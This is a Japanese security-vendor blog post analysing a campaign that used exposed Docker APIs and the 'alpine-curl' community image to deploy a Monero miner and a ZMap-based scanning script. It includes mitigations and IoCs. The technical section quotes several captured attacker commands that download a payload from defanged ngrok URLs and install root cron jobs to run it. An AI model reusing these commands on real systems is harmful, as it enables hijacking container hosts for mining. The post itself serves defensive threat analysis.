露出したDocker APIとコミュニティイメージを悪用し仮想通貨発掘マルウェアを送り込む攻撃を確認

トレンドマイクロは、ハニーポットから収集したデータの分析を通して仮想通貨発掘マルウェアをデプロイする活動を確認しました。この仮想通貨発掘マルウェアは、リポジトリホスティングサービス「Docker Hub」で公開されているDockerイメージを悪用した不正なコンテナとしてデプロイされていました。このイメージは仮想通貨発掘マルウェアを送り込む不正なサービスの一部として悪用されます。また、仮想通貨の発掘の他に、ネットワークスキャンツールを利用して露出したコンテナおよびアプリケーションを検索する活動も確認されました。Dockerは適切な設定のためのベストプラクティスを公開していますが、今回の調査で使用したハニーポットにはセキュリティ対策は実施していません。コンテナに含まれるアプリケーションではなくDocker自体を狙った攻撃を捕捉するために初期設定のまま構築されています。

■攻撃の流れ

図1は今回確認された攻撃の流れです。

ペイロードを送り込む方法(左)遠隔からイメージをデプロイする攻撃者の環境(右)

図1:ペイロードを送り込む方法(左)
遠隔からイメージをデプロイする攻撃者の環境(右)

この攻撃は、設定に不備のあるイメージを特定することでインターネットに露出している多くのホストを感染させることができるというものです。Dockerのバージョンには依存せず、脆弱性を利用する必要もありません。

Docker APIが露出していた場合、コンテナ一覧の取得、ログの取得、コンテナの起動、停止、強制終了など、広範なコマンド実行が可能になります。さらには、指定したイメージとオプションで新しいコンテナを作成することも可能です。

■露出したDocker APIは前回調査から増加

インターネットに接続しているさまざまな端末機器を対象にしたオンライン検索エンジン「Shodan」を使用して露出したDocker APIを検索したところ、2018年11月の記事で解説したDockerの設定不備を利用してMonero発掘マルウェアを拡散する攻撃を調査した時と比べて増加が確認されました。2018年10月には、856件だった検索結果が2019年2月には3,762件でした。

露出したDocker APIの国別分布

図2:露出したDocker APIの国別分布(n=3,762)
(2019年2月12日時点のShodanの検索結果に基づく)

■技術的な解析

ペイロードのデプロイ

ハニーポットのログをさらに解析したところ、localhostのようなローカルアドレスとインターネットの間に安全な接続を確立してトラフィックを転送するツール「ngrok」が利用されていることが分かりました。このツールにより、攻撃者は動的にURLを作成し、露出したホストにペイロードをデプロイすることが可能になります。以下はハニーポットのログで確認された、ngrokサービスを利用したコマンドの例です。

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”

Tty: false
,Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d \”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d\” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”,

Tty: false,Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed \”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee\”;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/crontab;echo \”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed\” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c \”cron || crond\””,
Entrypoint: “/bin/sh”

太字で示したように、ファイルをダウンロードするURLが変化していることが分かります。これらのURLの有効期間は短く、無効になるとペイロードをダウンロードすることができなくなります。

ダウンロードされるペイロードとして2種類のマルウェアが確認されています。1つ目は、Linux executable and linkable format(ELF)形式のファイルとしてコンパイルされた仮想通貨発掘マルウェア(「Coinminer.SH.MALXMR.ATNO」として検出)でした。もう1つは、ネットワークスキャンツール「ZMap」を取得するように設計されたシェルスクリプト(「TrojanSpy.SH.ZNETMAP.A」として検出)でした。ZMapは、事前に定義したIP範囲をスキャンして新しい攻撃対象を検索するために利用されます。

仮想通貨の発掘

ドロッパは仮想通貨発掘マルウェアをデプロイする際に使用する2つの変数「HOST」および「RIP」に値を設定します。「HOST」は不正なファイルをホストしているURL、「RIP」はデプロイする仮想通貨発掘マルウェアのファイル名(ハッシュ値)です。「HOST」の値は「RIP」の値が変わるたびに変化します。

変数「HOST」および「RIP」の例

図3:変数「HOST」および「RIP」の例

このスクリプトは、感染させたホスト上で他の仮想通貨発掘プロセスを検索し、終了します。

他の仮想通貨発掘プロセスを検索し、終了するコード

他の仮想通貨発掘プロセスを検索し、終了するコード

図4:他の仮想通貨発掘プロセスを検索し、終了するコード

仮想通貨発掘マルウェアは、実行前に、広く利用されているWebサーバの名前「nginx」に変更されます。他のバージョンのスクリプトでもLinux環境でよく使用される名前が使われていました。これは、ユーザが実行中プロセス一覧を取得した際に検出されることを避けるための手法です。

仮想通貨発掘マルウェアの名前を正規サービスの名前に変更

図5:仮想通貨発掘マルウェアの名前を正規サービスの名前に変更

ネットワークをスキャンし新しい攻撃対象を検索

ネットワークをマッピングするスクリプトは、ngrokサービスを使用して必要なツール群をデプロイします。中でもZMapのLinuxバイナリファイルはネットワークをスキャンして開放ポートを検索するために利用します。また、別のバイナリファイルはスキャンによって見つかったサービスと通信し、バナー情報を参照して実行バージョンのような詳細情報を取得します。

ネットワークをスキャンするために「ZMap」を使用

図6:ネットワークをスキャンするために「ZMap」を使用

スキャンするネットワークの範囲は事前に定義されています。この範囲はスクリプトのバージョンによって異なります。また、攻撃対象となるサービスが使用するポート番号も定義されています。

スキャンするネットワーク範囲を事前に定義したコード

図7:スキャンするネットワーク範囲を事前に定義したコード

攻撃対象の候補が見つかると、このスクリプトは自動的にバナー情報を取得し、サービス、アプリケーション、コンポーネント、狙っているプラットフォームに基づいて対象を絞り込みます。具体的には、「Redis」、「Jenkins」、「Drupal」、「MODX」、「Kubernetes Master」、「Dockerクライアント1.16」、「Apache CouchDB」が狙われています。対象のホストがこれらのいずれかに合致した場合、取得した情報がテキストファイルに保存されます。この情報は将来のさらなる情報探索や侵害のために利用される恐れがあります。ファイルは攻撃者のサーバに動的に生成したリンクを介してアップロードされます。つまり、アップロードのたびにURLを変化させ、当該URLへのアクセスを困難にしているということです。

Dockerを含め、関心のあるサービスとポート番号を定義

図8:Dockerを含め、関心のあるサービスとポート番号を定義

コミュニティイメージの使用

Dockerイメージは、Linuxディストリビューション「Alpine」を使用し、さまざまなプロトコルに対応したデータ転送のためのコマンドラインツール「curl」をインストールした状態でビルドすることが可能です。図9のように、「alpine-curl」というイメージはすでに1,000万回以上ダウンロードされています。このような大量のダウンロードは、最終更新が6か月前と比較的古く、同一リポジトリの他のイメージはそれほどダウンロードされていないことから、curlがインストールされエントリーポイントに設定されていることに起因すると考えられます。エントリーポイントとは、コンテナを実行ファイルとして実行するための一連のコマンドとパラメータを設定したものです。もしエントリーポイントの設定にインターネットに露出しているなどの不備がある場合、攻撃経路として悪用される恐れがあります。例えば、インターネットに露出したコンテナを発見した攻撃者は、それを利用してペイロードを送り込むことができるかもしれません。

図

図9:1,000万回以上ダウンロードされている「alpine-curl」コンテナ

このDockerイメージ「alpine-curl」はそれ自体では不正なものではなく、不正活動を実行するために悪用されているということに留意してください。またこのイメージ以外にも類似したイメージが攻撃者に発見された場合、同様に不正な活動のために悪用されてしまうでしょう。トレンドマイクロはDockerに連絡し、共同でこの問題に対処しています。

■被害に遭わないためには

多くの法人、特に迅速な開発とデプロイに焦点を当てたDevOpsを採用している企業にとって、設定の不備長年の課題となっています。監査および監視の必要性、GDPRの遵守と違反時の高額な罰金を考慮すると、設定の不備による影響はさらに重大なものとなり得ます。開発ライフサイクルへの自動化されたセキュリティの統合は、それ無しでは見逃していたであろうセキュリティの欠陥を識別し、設定の不備やアプリケーションのデプロイ後に特定された脆弱性ごとに再ビルドしデプロイするような余分な作業を減らす上で役立ちます。

本記事で解説した事例は以下の推奨事項のような設計段階からのセキュリティの重要性を強調するものです。

  • システム管理者および開発者は、つねにAPI設定をチェックし、定められたホストやネットワーク内部からのリクエスト以外は受け付けないことを確かめる。
  • 最小権限の原則の実装:コンテナイメージが署名および認証されていることを確認し、コンテナを実行する。デーモンのような重要コンポーネントに対するアクセスを制限する。ネットワーク接続は暗号化する。
  • Dockerが提供するベストプラクティス案内に従い、組み込まれたセキュリティ機能を有効化する。
  • 実行時のイメージスキャンを自動化し、コンテナのプロセスを可視化する。
  • 改ざんや脆弱性の有無をチェックするために、アプリケーションコントロール変更監視を採用し、サーバ、ファイル、システム領域に対する異常な変更を検知する。

■トレンドマイクロの対策

トレンドマイクロは、アプリケーションを安全にビルドし、さまざまな環境に迅速にデプロイして実行するDevOpsチームを支援します。

Hybrid Cloud Security」は、DevOps 体制を支えるセキュリティチームに対して、「XGen」アプローチにより、物理・仮想・クラウドの混在環境における最適なセキュリティを提供します。総合サーバセキュリティ製品「Trend Micro Deep Security™」およびコンテナイメージを保護する「Deep Security Smart Check」により、デプロイおよび実行時にコンテナイメージをスキャンすることが可能です。

■侵入の痕跡(Indicators of Compromise、(IoCs)

本記事で解説した脅威の検出名とSHA256値は以下の通りです。

  • Coinminer.SH.MALXMR.ATNO:54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e
  • TrojanSpy.SH.ZNETMAP.A:f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228

【更新情報】

2019/03/11 18:54 誤字脱字を修正しました。

参考記事:

翻訳: 澤山 高士(Core Technology Marketing, TrendLabs)